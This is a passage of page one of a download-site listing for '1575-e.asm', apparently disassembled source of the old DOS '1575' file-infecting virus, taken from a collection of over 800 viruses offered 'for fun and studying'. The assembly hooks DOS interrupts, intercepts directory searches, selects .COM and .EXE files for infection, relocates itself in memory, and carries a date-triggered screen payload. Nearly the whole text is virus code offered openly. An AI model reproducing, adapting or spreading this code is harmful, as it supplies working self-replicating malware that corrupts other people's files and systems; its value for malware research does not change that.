⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 1575-e.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
		jmp	short loc_18
		db	90h
loc_17:
		mov	ax,es:data_13e
		mov	cx,737h
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		sub	ax,cx
		jc	loc_18			; Jump if carry Set
		mov	es:data_13e,ax
		sub	es:data_14e,cx
		push	cs
		pop	ds
		mov	ax,es:data_14e
		push	ax
		pop	es
		mov	si,100h
		push	si
		pop	di
		mov	cx,627h
		cld				; Clear direction
		repne	movsb			; Rep zf=0+cx >0 Mov [si] to es:[di]
		push	es
		sub	ax,ax
		mov	es,ax
		mov	si,data_2e
		mov	dx,4A8h
		mov	es:[si],dx
		inc	si
		inc	si
		pop	ax
		mov	es:[si],ax
loc_18:
		pop	ds
		pop	es
		pop	ax
		retn
sub_7		endp

		cmp	al,57h			; 'W'
		jne	loc_19			; Jump if not equal
		jmp	short loc_22
		db	90h
loc_19:
		cmp	ah,1Ah
		jne	loc_20			; Jump if not equal
		call	sub_12
		jmp	short loc_22
		db	90h
loc_20:
		cmp	ah,11h
		jne	loc_21			; Jump if not equal
		call	sub_8
		iret				; Interrupt return
loc_21:
		cmp	ah,12h
		jne	loc_22			; Jump if not equal
		call	sub_11
		iret				; Interrupt return
loc_22:
		jmp	dword ptr cs:data_17

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_8		proc	near
		mov	al,57h			; 'W'
		int	21h			; DOS Services  ah=function 00h
						;  terminate, cs=progm seg prefx
		push	ax
		push	cx
		push	dx
		push	bx
		push	bp
		push	si
		push	di
		push	ds
		push	es
		push	cs
		pop	ds
		push	cs
		pop	es
		mov	byte ptr cs:data_47,0
		nop
		call	sub_9
		jnz	loc_23			; Jump if not zero
		call	sub_3
		jz	loc_23			; Jump if zero
		call	sub_16
		dec	data_47
loc_23:
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	bp
		pop	bx
		pop	dx
		pop	cx
		pop	ax
		retn
sub_8		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_9		proc	near
		push	cs
		pop	es
		push	cs
		pop	es
		cld				; Clear direction
		call	sub_10
		jnc	loc_24			; Jump if carry=0
		cmp	di,0
		retn
loc_24:
		mov	di,offset data_44	; ('A:MIO.COM')
		mov	al,2Eh			; '.'
		mov	cx,0Bh
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		cmp	word ptr [di],4F43h
		jne	loc_25			; Jump if not equal
		cmp	byte ptr [di+2],4Dh	; 'M'
		jne	loc_25			; Jump if not equal
		mov	byte ptr data_53,43h	; 'C'
		nop
		retn
loc_25:
		cmp	word ptr [di],5845h
		jne	loc_ret_26		; Jump if not equal
		cmp	byte ptr [di+2],45h	; 'E'
		jne	loc_ret_26		; Jump if not equal
		mov	byte ptr data_53,45h	; 'E'
		nop

loc_ret_26:
		retn
sub_9		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_10		proc	near
loc_27:
		push	ds
		mov	si,cs:data_34
		mov	ax,cs:data_35
		mov	ds,ax
		mov	di,offset data_44	; ('A:MIO.COM')
		lodsb				; String [si] to al
		cmp	al,0FFh
		jne	loc_28			; Jump if not equal
		add	si,6
		lodsb				; String [si] to al
		jmp	short loc_29
		db	90h
loc_28:
		cmp	al,5
		jb	loc_29			; Jump if below
		pop	ds
		stc				; Set carry flag
		retn
loc_29:
		mov	cx,0Bh
		cmp	al,0
		je	locloop_30		; Jump if equal
		add	al,40h			; '@'
		stosb				; Store al to es:[di]
		mov	al,3Ah			; ':'
		stosb				; Store al to es:[di]

locloop_30:
		lodsb				; String [si] to al
		cmp	al,20h			; ' '
		je	loc_31			; Jump if equal
		stosb				; Store al to es:[di]
		jmp	short loc_32
		db	90h
loc_31:
		cmp	byte ptr es:[di-1],2Eh	; '.'
		je	loc_32			; Jump if equal
		mov	al,2Eh			; '.'
		stosb				; Store al to es:[di]
loc_32:
		loop	locloop_30		; Loop if cx > 0

		mov	al,0
		stosb				; Store al to es:[di]
		pop	ds
		clc				; Clear carry flag
		retn
sub_10		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_11		proc	near
		mov	al,57h			; 'W'
		int	21h			; DOS Services  ah=function 00h
						;  terminate, cs=progm seg prefx
		push	ax
		push	cx
		push	dx
		push	bx
		push	bp
		push	si
		push	di
		push	ds
		push	es
		push	cs
		pop	ds
		push	cs
		pop	es
		cmp	byte ptr cs:data_47,0
		je	loc_33			; Jump if equal
		jmp	short loc_34
		db	90h
loc_33:
		call	sub_9
		jnz	loc_34			; Jump if not zero
		call	sub_3
		jz	loc_34			; Jump if zero
		call	sub_16
		dec	data_47
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	bp
		pop	bx
		pop	dx
		pop	cx
		pop	ax
		retn
loc_34:
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	bp
		pop	bx
		pop	dx
		pop	cx
		pop	ax
		retn
sub_11		endp

data_47		db	0

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_12		proc	near
		push	ax
		push	ds
		pop	ax
		mov	cs:data_35,ax
		mov	cs:data_34,dx
		pop	ax
		retn
sub_12		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_13		proc	near
		push	cs
		mov	al,0
		out	20h,al			; port 20h, 8259-1 int command
		mov	ax,3524h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	data_40,bx
		mov	bx,es
		mov	data_39,bx
		pop	es
		mov	si,offset data_43
		mov	di,offset data_44	; ('A:MIO.COM')
		mov	cx,0Fh

locloop_35:
		lodsb				; String [si] to al
		add	al,20h			; ' '
		stosb				; Store al to es:[di]
		loop	locloop_35		; Loop if cx > 0

		retn
sub_13		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_14		proc	near
		push	ax
		push	cs
		pop	ds
		push	cs
		pop	es
		mov	bl,data_41
		cmp	bl,0Ch
		ja	loc_37			; Jump if above
		cmp	bl,0
		je	loc_37			; Jump if equal
		mov	al,8
		out	70h,al			; port 70h, RTC addr/enabl NMI
						;  al = 8, month register
		in	al,71h			; port 71h, RTC clock/RAM data
		cmp	al,0Ch
		ja	loc_37			; Jump if above
		cmp	al,0
		je	loc_37			; Jump if equal
		cmp	al,bl
		je	loc_37			; Jump if equal
		inc	bl
		call	sub_15
		cmp	al,bl
		je	loc_37			; Jump if equal
		inc	bl
		call	sub_15
		cmp	al,bl
		je	loc_37			; Jump if equal
		pop	ds
		call	sub_17
		push	cs
		pop	ds
		retn

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

sub_15:
		cmp	bl,0Ch
		jbe	loc_ret_36		; Jump if below or =
		sub	bl,0Ch

loc_ret_36:
		retn
loc_37:
		pop	ax
		retn
sub_14		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_16		proc	near
		mov	dx,offset int_24h_entry
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		cmp	byte ptr data_53,43h	; 'C'
		jne	loc_38			; Jump if not equal
		call	sub_4
		jmp	short loc_39
		db	90h
loc_38:
		call	sub_5
loc_39:
		push	ds
		mov	dx,data_40
		mov	ax,data_39
		mov	ds,ax
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		pop	ds
		retn
sub_16		endp


;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;
;			External Entry Point
;
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

int_24h_entry	proc	far
		mov	al,3
		iret				; Interrupt return
int_24h_entry	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_17		proc	near
;*		mov	dx,offset loc_47	;*
		db	0BAh,0B0h, 06h
		mov	ax,251Ch
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	byte ptr ds:data_56e,90h
		nop
		mov	ax,0B800h
		mov	es,ax
		mov	di,data_55e
		mov	ax,720h
		mov	cx,0Bh
		repne	stosw			; Rep zf=0+cx >0 Store ax to es:[di]
		push	cs
		pop	es
		retn
sub_17		endp

		db	0, 0
data_48		db	0
data_49		dw	720h
data_50		db	0Fh
		db	 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
		db	 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
		db	 0Ah, 0Fh, 08h,0FEh, 0Eh
data_51		db	0EEh
		db	0Ch
data_52		db	90h
		db	0FBh, 50h, 51h, 52h, 53h, 55h
		db	 56h, 57h, 1Eh, 06h, 0Eh, 1Fh
		db	0EBh, 0Bh, 90h
loc_40:
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	bp
		pop	bx
		pop	dx
		pop	cx
		pop	ax
		iret				; Interrupt return
		db	0B8h, 00h,0B8h, 8Eh,0C0h
		db	0BFh,0A0h, 0Fh
		db	0BEh, 9Ah, 06h,0B9h, 16h, 00h
		db	0F2h,0A4h, 80h, 3Eh,0AEh, 06h
		db	0EEh, 74h, 08h,0C6h, 06h,0AEh
		db	 06h,0EEh,0EBh, 06h, 90h
loc_42:
		mov	data_51,0F0h
loc_43:
		mov	ax,es:[di]
		mov	ah,0Eh
		mov	data_49,ax
		mov	data_48,0
		jmp	short loc_40
		db	0BFh, 00h, 00h
loc_44:
		mov	si,offset data_50
		push	di
		mov	cx,12h
		cld				; Clear direction
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		pop	di
		jz	loc_45			; Jump if zero
		inc	di
		inc	di
		cmp	di,0FA0h
		jne	loc_44			; Jump if not equal
		mov	di,0
loc_45:
		cmp	di,0F9Eh
		jne	loc_ret_46		; Jump if not equal
		mov	data_52,0CFh

loc_ret_46:
		retn
data_53		db	43h
		db	 0Ch, 0Ah, 45h, 00h,0CBh, 87h
		db	0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah
		db	 83h, 00h,0CBh, 87h,0E8h
		db	2Eh

seg_a		ends



		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -